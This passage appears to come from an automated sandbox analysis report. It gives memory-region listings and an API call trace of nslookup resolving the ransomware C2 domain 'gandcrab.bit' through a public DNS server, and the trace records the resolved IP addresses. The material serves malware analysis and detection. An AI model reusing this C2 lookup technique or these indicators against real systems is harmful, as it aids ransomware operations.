0x4c80000 end_va = 0x4c81fff entry_point = 0x0 region_type = private name = "private_0x0000000004c80000" filename = "" Region: id = 4707 start_va = 0x4c90000 end_va = 0x4ca3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004c90000" filename = "" Region: id = 4708 start_va = 0x4cb0000 end_va = 0x4ceffff entry_point = 0x0 region_type = private name = "private_0x0000000004cb0000" filename = "" Region: id = 4709 start_va = 0x4cf0000 end_va = 0x4d2ffff entry_point = 0x0 region_type = private name = "private_0x0000000004cf0000" filename = "" Region: id = 4710 start_va = 0x4d30000 end_va = 0x4d33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004d30000" filename = "" Region: id = 4711 start_va = 0x4d40000 end_va = 0x4d40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004d40000" filename = "" Region: id = 4712 start_va = 0x4d50000 end_va = 0x4d51fff entry_point = 0x0 region_type = private name = "private_0x0000000004d50000" filename = "" Region: id = 4713 start_va = 0x77460000 end_va = 0x775d8fff entry_point = 0x77460000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4714 start_va = 0x7f750000 end_va = 0x7f772fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f750000" filename = "" Region: id = 4715 start_va = 0x7f779000 end_va = 0x7f779fff entry_point = 0x0 region_type = private name = "private_0x000000007f779000" filename = "" Region: id = 4716 start_va = 0x7f77a000 end_va = 0x7f77afff entry_point = 0x0 region_type = private name = "private_0x000000007f77a000" filename = "" Region: id = 4717 start_va = 0x7f77d000 end_va = 0x7f77ffff entry_point = 0x0 region_type = private name = "private_0x000000007f77d000" filename = "" Region: id = 4718 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4719 start_va = 0x7fff0000 end_va = 0x7df9ee76ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4720 start_va = 0x7df9ee770000 end_va = 0x7ff9ee76ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df9ee770000" filename = "" Region: id = 4721 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4722 start_va = 0x7ff9ee932000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ff9ee932000" filename = "" Region: id = 4723 start_va = 0x4d60000 end_va = 0x4d6ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d60000" filename = "" Region: id = 4724 start_va = 0x73cd0000 end_va = 0x73d1efff entry_point = 0x73cd0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4725 start_va = 0x73d30000 end_va = 0x73da2fff entry_point = 0x73d30000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4726 start_va = 0x4ea0000 end_va = 0x4f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000004ea0000" filename = "" Region: id = 4727 start_va = 0x73d20000 end_va = 0x73d27fff entry_point = 0x73d20000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4768 start_va = 0x4c60000 end_va = 0x4c6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004c60000" filename = "" Region: id = 4769 start_va = 0x4c70000 end_va = 0x4c73fff entry_point = 0x0 region_type = private name = "private_0x0000000004c70000" filename = "" Region: id = 4770 start_va = 0x4d70000 end_va = 0x4e2dfff entry_point = 0x4d70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4771 start_va = 0x4e30000 end_va = 0x4e6ffff entry_point = 0x0 region_type = private name = "private_0x0000000004e30000" filename = "" Region: id = 4772 start_va = 0x4fa0000 end_va = 0x4fdffff entry_point = 0x0 region_type = private name = "private_0x0000000004fa0000" filename = "" Region: id = 4773 start_va = 0x51d0000 end_va = 0x51dffff entry_point = 0x0 region_type = private name = "private_0x00000000051d0000" filename = "" Region: id = 4774 start_va = 0x73e30000 end_va = 0x73eb3fff entry_point = 0x73e30000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 4775 start_va = 0x73ec0000 end_va = 0x73f0dfff entry_point = 0x73ec0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 4776 start_va = 0x74500000 end_va = 0x74558fff entry_point = 0x74500000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4777 start_va = 0x74560000 end_va = 0x74569fff entry_point = 0x74560000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4778 start_va = 0x74570000 end_va = 0x7458dfff entry_point = 0x74570000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4779 start_va = 0x745b0000 end_va = 0x74725fff entry_point = 0x745b0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4780 start_va = 0x74730000 end_va = 0x74772fff entry_point = 0x74730000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4781 start_va = 0x74780000 end_va = 0x7486ffff entry_point = 0x74780000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4782 start_va = 0x74ba0000 end_va = 0x74c4bfff entry_point = 0x74ba0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4783 start_va = 0x74f40000 end_va = 0x74f46fff entry_point = 0x74f40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 4784 start_va = 0x75500000 end_va = 0x7555bfff entry_point = 0x75500000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 4785 start_va = 0x773a0000 end_va = 0x7745dfff entry_point = 0x773a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4786 start_va = 0x7f650000 end_va = 0x7f74ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f650000" filename = "" Region: id = 4787 start_va = 0x7f776000 end_va = 0x7f778fff entry_point = 0x0 region_type = private name = "private_0x000000007f776000" filename = "" Region: id = 4788 start_va = 0x73db0000 end_va = 0x73dc1fff entry_point = 0x73db0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 4789 start_va = 0x73670000 end_va = 0x73685fff entry_point = 0x73670000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 4790 start_va = 0x73650000 end_va = 0x73662fff entry_point = 0x73650000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 4791 start_va = 0x77050000 end_va = 0x7718ffff entry_point = 0x77050000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4792 start_va = 0x75660000 end_va = 0x757acfff entry_point = 0x75660000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4793 start_va = 0x4e70000 end_va = 0x4e99fff entry_point = 0x4e70000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4794 start_va = 0x4fe0000 end_va = 0x5167fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004fe0000" filename = "" Region: id = 4795 start_va = 0x771f0000 end_va = 0x7721afff entry_point = 0x771f0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4796 start_va = 0x748c0000 end_va = 0x749dffff entry_point = 0x748c0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4797 start_va = 0x4c80000 end_va = 0x4c84fff entry_point = 0x4c80000 region_type = mapped_file name = "nslookup.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\nslookup.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\nslookup.exe.mui") Region: id = 4798 start_va = 0x51e0000 end_va = 0x5360fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000051e0000" filename = "" Region: id = 4799 start_va = 0x5370000 end_va = 0x676ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005370000" filename = "" Region: id = 4800 start_va = 0x4e70000 end_va = 0x4e70fff entry_point = 0x0 region_type = private name = "private_0x0000000004e70000" filename = "" Region: id = 4801 start_va = 0x4e80000 end_va = 0x4e80fff entry_point = 0x0 region_type = private name = "private_0x0000000004e80000" filename = "" Region: id = 4802 start_va = 0x73640000 end_va = 0x7364afff entry_point = 0x73640000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 4803 start_va = 0x73e20000 end_va = 0x73e27fff entry_point = 0x73e20000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 4804 start_va = 0x73fd0000 end_va = 0x73ffffff entry_point = 0x73fd0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 4805 start_va = 0x73fc0000 end_va = 0x73fc7fff entry_point = 0x73fc0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 4806 start_va = 0x73dd0000 end_va = 0x73e15fff entry_point = 0x73dd0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 4807 start_va = 0x74080000 end_va = 0x7409afff entry_point = 0x74080000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Thread: id = 91 os_tid = 0x53c [0144.176] GetModuleHandleA (lpModuleName=0x0) returned 0x310000 [0144.176] __set_app_type (_Type=0x1) [0144.176] __p__fmode () returned 0x77454d6c [0144.176] __p__commode () returned 0x77455b1c [0144.176] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x31cf30) returned 0x0 [0144.176] __getmainargs (in: _Argc=0x321888, _Argv=0x32188c, _Env=0x321890, _DoWildCard=0, _StartInfo=0x32189c | out: _Argc=0x321888, _Argv=0x32188c, _Env=0x321890) returned 0 [0144.177] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0144.177] SetThreadUILanguage (LangId=0x0) returned 0x409 [0144.182] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x322120 | out: lpWSAData=0x322120) returned 0 [0144.185] socket (af=2, type=2, protocol=0) returned 0xc4 [0144.186] closesocket (s=0xc4) returned 0 [0144.186] RtlIpv4StringToAddressA () returned 0x0 [0144.186] RtlInitString (in: DestinationString=0x4d2f688, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0144.186] RtlAnsiStringToUnicodeString (in: DestinationString=0x4d2f690, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0144.186] NtOpenKey (in: KeyHandle=0x4d2f6c0, DesiredAccess=0x20019, ObjectAttributes=0x4d2f670*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x4d2f6c0*=0xc4) returned 0x0 [0144.186] RtlFreeAnsiString (AnsiString="\\") [0144.186] RtlAnsiStringToUnicodeString (in: DestinationString=0x4d2f67c, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0144.186] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x4eaf0d8, Length=0x400, ResultLength=0x4d2f684 | out: KeyValueInformation=0x4eaf0d8, ResultLength=0x4d2f684) returned 0xc0000034 [0144.187] RtlAnsiStringToUnicodeString (in: DestinationString=0x4d2f67c, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0144.187] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x4eaf0d8, Length=0x400, ResultLength=0x4d2f684 | out: KeyValueInformation=0x4eaf0d8*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x4d2f684) returned 0x0 [0144.187] RtlUnicodeStringToAnsiString (in: DestinationString=0x4d2f674, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0144.187] RtlAnsiStringToUnicodeString (in: DestinationString=0x4d2f67c, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0144.187] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x4eaf0d8, Length=0x400, ResultLength=0x4d2f684 | out: KeyValueInformation=0x4eaf0d8, ResultLength=0x4d2f684) returned 0xc0000034 [0144.187] RtlInitString (in: DestinationString=0x4d2f688, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0144.187] RtlAnsiStringToUnicodeString (in: DestinationString=0x4d2f690, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0144.187] NtOpenKey (in: KeyHandle=0x4d2f6ac, DesiredAccess=0x20019, ObjectAttributes=0x4d2f670*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x4d2f6ac*=0x0) returned 0xc0000034 [0144.187] RtlFreeAnsiString (AnsiString="\\") [0144.187] RtlAnsiStringToUnicodeString (in: DestinationString=0x4d2f67c, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0144.187] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x4eaf0d8, Length=0x400, ResultLength=0x4d2f684 | out: KeyValueInformation=0x4eaf0d8, ResultLength=0x4d2f684) returned 0xc0000034 [0144.187] RtlAnsiStringToUnicodeString (in: DestinationString=0x4d2f67c, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0144.187] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x4eaf0d8, Length=0x400, ResultLength=0x4d2f684 | out: KeyValueInformation=0x4eaf0d8, ResultLength=0x4d2f684) returned 0xc0000034 [0144.187] gethostname (in: name=0x51d2300, namelen=12800 | out: name="LHnIwsj") returned 0 [0144.214] getenv (_VarName="HOME") returned 0x0 [0144.215] RtlIpv4StringToAddressA () returned 0xc000000d [0144.215] RtlIpv6StringToAddressExA (AddressString="a.dnspod.com", Address=0x4d2f718, ScopeId=0x4d2f728, Port=0x4d2f712) returned 0xc000000d [0144.215] RtlRestoreLastWin32Error () returned 0x2550 [0144.215] getaddrinfo (in: pNodeName="a.dnspod.com", pServiceName=0x0, pHints=0x0, ppResult=0x4d2f6e0 | out: ppResult=0x4d2f6e0*=0x4eace08*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x4eb6638*(sa_family=2, sin_port=0x0, sin_addr="112.90.141.215"), ai_next=0x0)) returned 0 [0144.227] FreeAddrInfoW (pAddrInfo=0x4eace08*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x4eb6638*(sa_family=2, sin_port=0x0, sin_addr="112.90.141.215"), ai_next=0x0)) [0144.228] _vsnprintf_s (in: _DstBuf=0x4d2f5c0, _DstSize=0x1f, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x4d1f588 | out: _DstBuf="215.141.90.112.in-addr.arpa.") returned 28 [0144.228] htons (hostshort=0x1) returned 0x100 [0144.228] htons (hostshort=0x1) returned 0x100 [0144.229] socket (af=2, type=2, protocol=0) returned 0x190 [0144.229] connect (s=0x190, name=0x51d0d28*(sa_family=2, sin_port=0x35, sin_addr="112.90.141.215"), namelen=16) returned 0 [0144.230] send (in: s=0x190, buf=0x4d1f5c0*, len=45, flags=0 | out: buf=0x4d1f5c0*) returned 45 [0144.230] select (in: nfds=400, readfds=0x4d0f1c0, writefds=0x0, exceptfds=0x0, timeout=0x4d0f190 | out: readfds=0x4d0f1c0, writefds=0x0, exceptfds=0x0) returned 0 [0146.225] printf (_Format="DNS request timed out.\n") returned 23 [0146.225] printf (_Format=" timeout was %d seconds.\n") returned 27 [0146.225] closesocket (s=0x190) returned 0 [0146.225] RtlIpv4AddressToStringExA () returned 0xc000000d [0146.225] strcpy_s (in: _Dst=0x51d11a8, _DstSize=0xc, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0146.225] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x4eaefe8 [0146.225] strcpy_s (in: _Dst=0x322020, _DstSize=0x100, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0146.225] __iob_func () returned 0x77451208 [0146.225] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x4d2f488, nSize=0x0, Arguments=0x4d2f48c | out: lpBuffer="Èkë\x04\x9côÒ\x04¬ôÒ\x045´1") returned 0x7 [0146.226] fprintf (in: _File=0x77451228, _Format="%-7s %s" | out: _File=0x77451228) returned 16 [0146.226] fprintf (in: _File=0x77451228, _Format="\nAddress:" | out: _File=0x77451228) returned 9 [0146.226] inet_ntoa (in=0xd78d5a70) returned="112.90.141.215" [0146.226] fprintf (in: _File=0x77451228, _Format="%c %s" | out: _File=0x77451228) returned 16 [0146.226] fprintf (in: _File=0x77451228, _Format="\n\n" | out: _File=0x77451228) returned 2 [0146.226] RtlIpv4StringToAddressA () returned 0xc000000d [0146.226] RtlIpv6StringToAddressExA (AddressString="gandcrab.bit", Address=0x4d2f468, ScopeId=0x4d2f478, Port=0x4d2f462) returned 0xc000000d [0146.226] RtlRestoreLastWin32Error () returned 0x2550 [0146.226] RtlIpv4StringToAddressA () returned 0xc000000d [0146.226] RtlIpv6StringToAddressExA (AddressString="gandcrab.bit", Address=0x4d2f3f0, ScopeId=0x4d2f400, Port=0x4d2f3ea) returned 0xc000000d [0146.226] RtlRestoreLastWin32Error () returned 0x2550 [0146.226] sprintf_s (in: _DstBuf=0x4d2f158, _DstSize=0x202, _Format="%s.%s" | out: _DstBuf="gandcrab.bit.") returned 13 [0146.226] htons (hostshort=0x2) returned 0x200 [0146.226] htons (hostshort=0x1) returned 0x100 [0146.226] socket (af=2, type=2, protocol=0) returned 0x190 [0146.226] connect (s=0x190, name=0x4eaf008*(sa_family=2, sin_port=0x35, sin_addr="112.90.141.215"), namelen=16) returned 0 [0146.226] send (in: s=0x190, buf=0x4d1f158*, len=30, flags=0 | out: buf=0x4d1f158*) returned 30 [0146.227] select (in: nfds=400, readfds=0x4d0ed58, writefds=0x0, exceptfds=0x0, timeout=0x4d0ed28 | out: readfds=0x4d0ed58, writefds=0x0, exceptfds=0x0) returned 1 [0146.418] recv (in: s=0x190, buf=0x4d0f118, len=65536, flags=0 | out: buf=0x4d0f118*) returned 124 [0146.418] closesocket (s=0x190) returned 0 [0146.418] htons (hostshort=0x100) returned 0x1 [0146.418] htons (hostshort=0x100) returned 0x1 [0146.418] htons (hostshort=0x300) returned 0x3 [0146.418] htons (hostshort=0x0) returned 0x0 [0146.418] LocalAlloc (uFlags=0x40, uBytes=0x36b20) returned 0x4eb7b30 [0146.419] sprintf_s (in: _DstBuf=0x4d2f158, _DstSize=0x202, _Format="%s.%s" | out: _DstBuf="gandcrab.bit.") returned 13 [0146.419] htons (hostshort=0x3) returned 0x300 [0146.419] htons (hostshort=0x1) returned 0x100 [0146.419] socket (af=2, type=2, protocol=0) returned 0x190 [0146.419] connect (s=0x190, name=0x4eaf008*(sa_family=2, sin_port=0x35, sin_addr="112.90.141.215"), namelen=16) returned 0 [0146.420] send (in: s=0x190, buf=0x4d1f158*, len=30, flags=0 | out: buf=0x4d1f158*) returned 30 [0146.420] select (in: nfds=400, readfds=0x4d0ed58, writefds=0x0, exceptfds=0x0, timeout=0x4d0ed28 | out: readfds=0x4d0ed58, writefds=0x0, exceptfds=0x0) returned 1 [0146.636] recv (in: s=0x190, buf=0x4d0f118, len=65536, flags=0 | out: buf=0x4d0f118*) returned 100 [0146.636] closesocket (s=0x190) returned 0 [0146.636] htons (hostshort=0x100) returned 0x1 [0146.636] htons (hostshort=0x0) returned 0x0 [0146.636] htons (hostshort=0x100) returned 0x1 [0146.636] htons (hostshort=0x0) returned 0x0 [0146.636] htons (hostshort=0x100) returned 0x1 [0146.636] htons (hostshort=0x0) returned 0x0 [0146.636] htons (hostshort=0x100) returned 0x1 [0146.636] htons (hostshort=0x0) returned 0x0 [0146.637] htons (hostshort=0x100) returned 0x1 [0146.637] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x31, dwLanguageId=0x0, lpBuffer=0x4d2f420, nSize=0x0, Arguments=0x4d2f424 | out: lpBuffer="\x18jë\x044ôÒ\x04DôÒ\x045´1") returned 0x5 [0146.637] fprintf (in: _File=0x77451228, _Format="%-7s %s" | out: _File=0x77451228) returned 21 [0146.637] fprintf (in: _File=0x77451228, _Format="\nAddress:" | out: _File=0x77451228) returned 9 [0146.637] inet_ntoa (in=0x6ce9b4e) returned="78.155.206.6" [0146.637] fprintf (in: _File=0x77451228, _Format="%c %s" | out: _File=0x77451228) returned 14 [0146.637] fprintf (in: _File=0x77451228, _Format="\n\n" | out: _File=0x77451228) returned 2 [0146.637] LocalFree (hMem=0x4eaefe8) returned 0x0 [0146.637] exit (_Code=0) Thread: id = 96 os_tid = 0xb64 Process: id = "8" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x78b21000" os_pid = "0x784" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x788" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a1d9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4728 start_va = 0x7f17e000 end_va = 0x7f17efff entry_point = 0x0 region_type = private name = "private_0x000000007f17e000" filename = "" Region: id = 4729 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4730 start_va = 0x14bc040000 end_va = 0x14bc05ffff entry_point = 0x0 region_type = private name = "private_0x00000014bc040000" filename = "" Region: id = 4731 start_va = 0x14bc060000 end_va = 0x14bc073fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000014bc060000" filename = "" Region: id = 4732 start_va = 0x14bc080000 end_va = 0x14bc0bffff entry_point = 0x0 region_type = private name = "private_0x00000014bc080000" filename = "" Region: id = 4733 start_va = 0x7df5ff490000 end_va = 0x7ff5ff48ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff490000" filename = "" Region: id = 4734 start_va = 0x7ff707e00000 end_va = 0x7ff707e22fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff707e00000" filename = "" Region: id = 4735 start_va = 0x7ff707e2c000 end_va = 0x7ff707e2cfff entry_point = 0x0 region_type = private name = "private_0x00007ff707e2c000" filename = "" Region: id = 4736 start_va = 0x7ff707e2e000 end_va = 0x7ff707e2ffff entry_point = 0x0 region_type = private name = "private_0x00007ff707e2e000" filename = "" Region: id = 4737 start_va = 0x7ff707ed0000 end_va = 0x7ff707ee0fff entry_point = 0x7ff707ed0000 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 4738 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4739 start_va = 0x14bc280000 end_va = 0x14bc37ffff entry_point = 0x0 region_type = private name = "private_0x00000014bc280000" filename = "" Region: id = 4740 start_va = 0x7ff9ebc60000 end_va = 0x7ff9ebe3cfff entry_point = 0x7ff9ebc60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4741 start_va = 0x7ff9ee250000 end_va = 0x7ff9ee2fcfff entry_point = 0x7ff9ee250000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4742 start_va = 0x14bc040000 end_va = 0x14bc04ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000014bc040000" filename = "" Region: id = 4743 start_va = 0x14bc050000 end_va = 0x14bc056fff entry_point = 0x0 region_type = private name = "private_0x00000014bc050000" filename = "" Region: id = 4744 start_va = 0x14bc0c0000 end_va = 0x14bc17dfff entry_point = 0x14bc0c0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4745 start_va = 0x14bc180000 end_va = 0x14bc1bffff entry_point = 0x0 region_type = private name = "private_0x00000014bc180000" filename = "" Region: id = 4746 start_va = 0x14bc1c0000 end_va = 0x14bc1c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000014bc1c0000" filename = "" Region: id = 4747 start_va = 0x14bc1d0000 end_va = 0x14bc1d6fff entry_point = 0x0 region_type = private name = "private_0x00000014bc1d0000" filename = "" Region: id = 4748 start_va = 0x14bc1e0000 end_va = 0x14bc1e0fff entry_point = 0x0 region_type = private name = "private_0x00000014bc1e0000" filename = "" Region: id = 4749 start_va = 